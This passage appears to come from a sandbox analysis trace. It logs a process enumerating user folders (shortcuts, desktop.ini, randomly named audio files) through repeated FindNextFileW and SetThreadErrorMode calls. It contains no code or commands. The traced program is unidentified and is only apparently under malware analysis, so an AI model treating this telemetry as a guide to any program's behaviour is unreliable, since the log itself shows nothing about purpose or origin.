dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1 [0162.879] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ab6db0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf2ab6db0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2ab6db0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x5fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneDrive.lnk", cAlternateFileName="")) returned 1 [0162.879] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x798d39b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8b06e0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 1 [0162.879] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x798d39b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8b06e0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0 [0162.880] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e94c) returned 1 [0162.880] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ebac) returned 1 [0162.880] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xf2ab6db0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2ab6db0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.880] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x798f9b10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798f9b10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8b2df0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0162.880] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x798f9b10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798f9b10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8b2df0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x1c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0162.880] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x798d39b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8b2df0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x36e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1 [0162.880] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ab6db0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf2ab6db0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2ab6db0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x5fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneDrive.lnk", cAlternateFileName="")) returned 1 [0162.881] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x798d39b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8b06e0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 1 [0162.881] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0162.881] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e94c) returned 1 [0162.881] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ebac) returned 1 [0162.888] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb90) returned 1 [0162.888] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb90) returned 1 [0162.888] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xc8a80240, ftLastAccessTime.dwHighDateTime=0x1d99dba, ftLastWriteTime.dwLowDateTime=0xc8a80240, ftLastWriteTime.dwHighDateTime=0x1d99dba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.888] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1db888d0, ftCreationTime.dwHighDateTime=0x1d98e49, ftLastAccessTime.dwLowDateTime=0x21e20b30, ftLastAccessTime.dwHighDateTime=0x1d98f2e, ftLastWriteTime.dwLowDateTime=0x21e20b30, ftLastWriteTime.dwHighDateTime=0x1d98f2e, nFileSizeHigh=0x0, nFileSizeLow=0xfd52, dwReserved0=0x0, dwReserved1=0x0, cFileName="C1sp dvJ6rMiqSWO.m4a", cAlternateFileName="C1SPDV~1.M4A")) returned 1 [0162.888] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x798d39b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e80a6a0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0162.889] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4375fb80, ftCreationTime.dwHighDateTime=0x1d99578, ftLastAccessTime.dwLowDateTime=0x5c47da10, ftLastAccessTime.dwHighDateTime=0x1d995f1, ftLastWriteTime.dwLowDateTime=0x5c47da10, ftLastWriteTime.dwHighDateTime=0x1d995f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="M-QP9r3m", cAlternateFileName="")) returned 1 [0162.889] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22984540, ftCreationTime.dwHighDateTime=0x1d99333, ftLastAccessTime.dwLowDateTime=0xaffab720, ftLastAccessTime.dwHighDateTime=0x1d9957b, ftLastWriteTime.dwLowDateTime=0xaffab720, ftLastWriteTime.dwHighDateTime=0x1d9957b, nFileSizeHigh=0x0, nFileSizeLow=0x61c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="M9Te.wav", cAlternateFileName="")) returned 1 [0162.889] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d0dea0, ftCreationTime.dwHighDateTime=0x1d99906, ftLastAccessTime.dwLowDateTime=0xc50364a0, ftLastAccessTime.dwHighDateTime=0x1d99b16, ftLastWriteTime.dwLowDateTime=0xc50364a0, ftLastWriteTime.dwHighDateTime=0x1d99b16, nFileSizeHigh=0x0, nFileSizeLow=0x17325, dwReserved0=0x0, dwReserved1=0x0, cFileName="MT00azHNzYeUklUK7WLY.wav", cAlternateFileName="MT00AZ~1.WAV")) returned 1 [0162.889] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ca8c1a0, ftCreationTime.dwHighDateTime=0x1d990a1, ftLastAccessTime.dwLowDateTime=0x7985770, ftLastAccessTime.dwHighDateTime=0x1d9992e, ftLastWriteTime.dwLowDateTime=0x7985770, ftLastWriteTime.dwHighDateTime=0x1d9992e, nFileSizeHigh=0x0, nFileSizeLow=0x18e1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="omCoSEo.wav", cAlternateFileName="")) returned 1 [0162.889] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb1957870, ftCreationTime.dwHighDateTime=0x1d99267, ftLastAccessTime.dwLowDateTime=0xa416e00, ftLastAccessTime.dwHighDateTime=0x1d99a58, ftLastWriteTime.dwLowDateTime=0xa416e00, ftLastWriteTime.dwHighDateTime=0x1d99a58, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sR45lfBmn", cAlternateFileName="SR45LF~1")) returned 1 [0162.889] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463249c0, ftCreationTime.dwHighDateTime=0x1d99693, ftLastAccessTime.dwLowDateTime=0x1efb6820, ftLastAccessTime.dwHighDateTime=0x1d99754, ftLastWriteTime.dwLowDateTime=0x1efb6820, ftLastWriteTime.dwHighDateTime=0x1d99754, nFileSizeHigh=0x0, nFileSizeLow=0xa7cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="vAZMA_D1FuafeI4nm_9.mp3", cAlternateFileName="VAZMA_~1.MP3")) returned 1 [0162.890] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd0d41f0, ftCreationTime.dwHighDateTime=0x1d99cd2, ftLastAccessTime.dwLowDateTime=0xe4b15470, ftLastAccessTime.dwHighDateTime=0x1d99d0e, ftLastWriteTime.dwLowDateTime=0xe4b15470, ftLastWriteTime.dwHighDateTime=0x1d99d0e, nFileSizeHigh=0x0, nFileSizeLow=0xeeac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZERn8svVA2_nmG.mp3", cAlternateFileName="ZERN8S~1.MP3")) returned 1 [0162.890] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd0d41f0, ftCreationTime.dwHighDateTime=0x1d99cd2, ftLastAccessTime.dwLowDateTime=0xe4b15470, ftLastAccessTime.dwHighDateTime=0x1d99d0e, ftLastWriteTime.dwLowDateTime=0xe4b15470, ftLastWriteTime.dwHighDateTime=0x1d99d0e, nFileSizeHigh=0x0, nFileSizeLow=0xeeac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZERn8svVA2_nmG.mp3", cAlternateFileName="ZERN8S~1.MP3")) returned 0 [0162.890] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e94c) returned 1 [0162.890] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ebac) returned 1 [0162.890] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xc8a80240, ftLastAccessTime.dwHighDateTime=0x1d99dba, ftLastWriteTime.dwLowDateTime=0xc8a80240, ftLastWriteTime.dwHighDateTime=0x1d99dba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.890] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1db888d0, ftCreationTime.dwHighDateTime=0x1d98e49, ftLastAccessTime.dwLowDateTime=0x21e20b30, ftLastAccessTime.dwHighDateTime=0x1d98f2e, ftLastWriteTime.dwLowDateTime=0x21e20b30, ftLastWriteTime.dwHighDateTime=0x1d98f2e, nFileSizeHigh=0x0, nFileSizeLow=0xfd52, dwReserved0=0x0, dwReserved1=0x0, cFileName="C1sp dvJ6rMiqSWO.m4a", cAlternateFileName="C1SPDV~1.M4A")) returned 1 [0162.890] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x798d39b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e80a6a0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0162.891] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4375fb80, ftCreationTime.dwHighDateTime=0x1d99578, ftLastAccessTime.dwLowDateTime=0x5c47da10, ftLastAccessTime.dwHighDateTime=0x1d995f1, ftLastWriteTime.dwLowDateTime=0x5c47da10, ftLastWriteTime.dwHighDateTime=0x1d995f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="M-QP9r3m", cAlternateFileName="")) returned 1 [0162.891] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22984540, ftCreationTime.dwHighDateTime=0x1d99333, ftLastAccessTime.dwLowDateTime=0xaffab720, ftLastAccessTime.dwHighDateTime=0x1d9957b, ftLastWriteTime.dwLowDateTime=0xaffab720, ftLastWriteTime.dwHighDateTime=0x1d9957b, nFileSizeHigh=0x0, nFileSizeLow=0x61c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="M9Te.wav", cAlternateFileName="")) returned 1 [0162.891] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d0dea0, ftCreationTime.dwHighDateTime=0x1d99906, ftLastAccessTime.dwLowDateTime=0xc50364a0, ftLastAccessTime.dwHighDateTime=0x1d99b16, ftLastWriteTime.dwLowDateTime=0xc50364a0, ftLastWriteTime.dwHighDateTime=0x1d99b16, nFileSizeHigh=0x0, nFileSizeLow=0x17325, dwReserved0=0x0, dwReserved1=0x0, cFileName="MT00azHNzYeUklUK7WLY.wav", cAlternateFileName="MT00AZ~1.WAV")) returned 1 [0162.891] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ca8c1a0, ftCreationTime.dwHighDateTime=0x1d990a1, ftLastAccessTime.dwLowDateTime=0x7985770, ftLastAccessTime.dwHighDateTime=0x1d9992e, ftLastWriteTime.dwLowDateTime=0x7985770, ftLastWriteTime.dwHighDateTime=0x1d9992e, nFileSizeHigh=0x0, nFileSizeLow=0x18e1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="omCoSEo.wav", cAlternateFileName="")) returned 1 [0162.891] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb1957870, ftCreationTime.dwHighDateTime=0x1d99267, ftLastAccessTime.dwLowDateTime=0xa416e00, ftLastAccessTime.dwHighDateTime=0x1d99a58, ftLastWriteTime.dwLowDateTime=0xa416e00, ftLastWriteTime.dwHighDateTime=0x1d99a58, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sR45lfBmn", cAlternateFileName="SR45LF~1")) returned 1 [0162.891] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463249c0, ftCreationTime.dwHighDateTime=0x1d99693, ftLastAccessTime.dwLowDateTime=0x1efb6820, ftLastAccessTime.dwHighDateTime=0x1d99754, ftLastWriteTime.dwLowDateTime=0x1efb6820, ftLastWriteTime.dwHighDateTime=0x1d99754, nFileSizeHigh=0x0, nFileSizeLow=0xa7cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="vAZMA_D1FuafeI4nm_9.mp3", cAlternateFileName="VAZMA_~1.MP3")) returned 1 [0162.891] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd0d41f0, ftCreationTime.dwHighDateTime=0x1d99cd2, ftLastAccessTime.dwLowDateTime=0xe4b15470, ftLastAccessTime.dwHighDateTime=0x1d99d0e, ftLastWriteTime.dwLowDateTime=0xe4b15470, ftLastWriteTime.dwHighDateTime=0x1d99d0e, nFileSizeHigh=0x0, nFileSizeLow=0xeeac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZERn8svVA2_nmG.mp3", cAlternateFileName="ZERN8S~1.MP3")) returned 1 [0162.891] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0162.892] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e94c) returned 1 [0162.892] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ebac) returned 1 [0162.892] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb10) returned 1 [0162.892] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb10) returned 1 [0162.892] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4375fb80, ftCreationTime.dwHighDateTime=0x1d99578, ftLastAccessTime.dwLowDateTime=0x5c47da10, ftLastAccessTime.dwHighDateTime=0x1d995f1, ftLastWriteTime.dwLowDateTime=0x5c47da10, ftLastWriteTime.dwHighDateTime=0x1d995f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.893] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3608ba0, ftCreationTime.dwHighDateTime=0x1d99427, ftLastAccessTime.dwLowDateTime=0x86a12840, ftLastAccessTime.dwHighDateTime=0x1d994aa, ftLastWriteTime.dwLowDateTime=0x86a12840, ftLastWriteTime.dwHighDateTime=0x1d994aa, nFileSizeHigh=0x0, nFileSizeLow=0x18482, dwReserved0=0x0, dwReserved1=0x0, cFileName="2_Pp1vwCsuP2jl.m4a", cAlternateFileName="2_PP1V~1.M4A")) returned 1 [0162.893] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7eb5700, ftCreationTime.dwHighDateTime=0x1d99996, ftLastAccessTime.dwLowDateTime=0x1569030, ftLastAccessTime.dwHighDateTime=0x1d99c2a, ftLastWriteTime.dwLowDateTime=0x1569030, ftLastWriteTime.dwHighDateTime=0x1d99c2a, nFileSizeHigh=0x0, nFileSizeLow=0x109c, dwReserved0=0x0, dwReserved1=0x0, cFileName="5q7ybWyiM4zx.wav", cAlternateFileName="5Q7YBW~1.WAV")) returned 1 [0162.893] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37cae1d0, ftCreationTime.dwHighDateTime=0x1d99aa3, ftLastAccessTime.dwLowDateTime=0x99abb230, ftLastAccessTime.dwHighDateTime=0x1d99afd, ftLastWriteTime.dwLowDateTime=0x99abb230, ftLastWriteTime.dwHighDateTime=0x1d99afd, nFileSizeHigh=0x0, nFileSizeLow=0x16e03, dwReserved0=0x0, dwReserved1=0x0, cFileName="BunyIcJ5hJByBt.m4a", cAlternateFileName="BUNYIC~1.M4A")) returned 1 [0162.893] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89e92e50, ftCreationTime.dwHighDateTime=0x1d991ec, ftLastAccessTime.dwLowDateTime=0x92785380, ftLastAccessTime.dwHighDateTime=0x1d99d3f, ftLastWriteTime.dwLowDateTime=0x92785380, ftLastWriteTime.dwHighDateTime=0x1d99d3f, nFileSizeHigh=0x0, nFileSizeLow=0xf241, dwReserved0=0x0, dwReserved1=0x0, cFileName="F2HbiCUSFjhd9g1ENl.m4a", cAlternateFileName="F2HBIC~1.M4A")) returned 1 [0162.893] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5216cf80, ftCreationTime.dwHighDateTime=0x1d99b17, ftLastAccessTime.dwLowDateTime=0xbbad33f0, ftLastAccessTime.dwHighDateTime=0x1d99cbe, ftLastWriteTime.dwLowDateTime=0xbbad33f0, ftLastWriteTime.dwHighDateTime=0x1d99cbe, nFileSizeHigh=0x0, nFileSizeLow=0x217d, dwReserved0=0x0, dwReserved1=0x0, cFileName="s9hrz_P 8rYvdHW8vq.m4a", cAlternateFileName="S9HRZ_~1.M4A")) returned 1 [0162.893] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5216cf80, ftCreationTime.dwHighDateTime=0x1d99b17, ftLastAccessTime.dwLowDateTime=0xbbad33f0, ftLastAccessTime.dwHighDateTime=0x1d99cbe, ftLastWriteTime.dwLowDateTime=0xbbad33f0, ftLastWriteTime.dwHighDateTime=0x1d99cbe, nFileSizeHigh=0x0, nFileSizeLow=0x217d, dwReserved0=0x0, dwReserved1=0x0, cFileName="s9hrz_P 8rYvdHW8vq.m4a", cAlternateFileName="S9HRZ_~1.M4A")) returned 0 [0162.893] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8cc) returned 1 [0162.893] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb2c) returned 1 [0162.894] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4375fb80, ftCreationTime.dwHighDateTime=0x1d99578, ftLastAccessTime.dwLowDateTime=0x5c47da10, ftLastAccessTime.dwHighDateTime=0x1d995f1, ftLastWriteTime.dwLowDateTime=0x5c47da10, ftLastWriteTime.dwHighDateTime=0x1d995f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.894] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3608ba0, ftCreationTime.dwHighDateTime=0x1d99427, ftLastAccessTime.dwLowDateTime=0x86a12840, ftLastAccessTime.dwHighDateTime=0x1d994aa, ftLastWriteTime.dwLowDateTime=0x86a12840, ftLastWriteTime.dwHighDateTime=0x1d994aa, nFileSizeHigh=0x0, nFileSizeLow=0x18482, dwReserved0=0x0, dwReserved1=0x0, cFileName="2_Pp1vwCsuP2jl.m4a", cAlternateFileName="2_PP1V~1.M4A")) returned 1 [0162.894] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7eb5700, ftCreationTime.dwHighDateTime=0x1d99996, ftLastAccessTime.dwLowDateTime=0x1569030, ftLastAccessTime.dwHighDateTime=0x1d99c2a, ftLastWriteTime.dwLowDateTime=0x1569030, ftLastWriteTime.dwHighDateTime=0x1d99c2a, nFileSizeHigh=0x0, nFileSizeLow=0x109c, dwReserved0=0x0, dwReserved1=0x0, cFileName="5q7ybWyiM4zx.wav", cAlternateFileName="5Q7YBW~1.WAV")) returned 1 [0162.894] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37cae1d0, ftCreationTime.dwHighDateTime=0x1d99aa3, ftLastAccessTime.dwLowDateTime=0x99abb230, ftLastAccessTime.dwHighDateTime=0x1d99afd, ftLastWriteTime.dwLowDateTime=0x99abb230, ftLastWriteTime.dwHighDateTime=0x1d99afd, nFileSizeHigh=0x0, nFileSizeLow=0x16e03, dwReserved0=0x0, dwReserved1=0x0, cFileName="BunyIcJ5hJByBt.m4a", cAlternateFileName="BUNYIC~1.M4A")) returned 1 [0162.894] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89e92e50, ftCreationTime.dwHighDateTime=0x1d991ec, ftLastAccessTime.dwLowDateTime=0x92785380, ftLastAccessTime.dwHighDateTime=0x1d99d3f, ftLastWriteTime.dwLowDateTime=0x92785380, ftLastWriteTime.dwHighDateTime=0x1d99d3f, nFileSizeHigh=0x0, 